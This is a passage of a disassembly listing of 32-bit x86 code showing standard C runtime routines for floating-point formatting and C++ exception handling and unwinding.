		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9F4, ecx
		setl	cl
		mov	byte_4DB9F8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9F4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9F0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9F0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9FC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DBA00
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBA04, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9FC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBA00
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9FC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBA00, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9FC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBA00, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

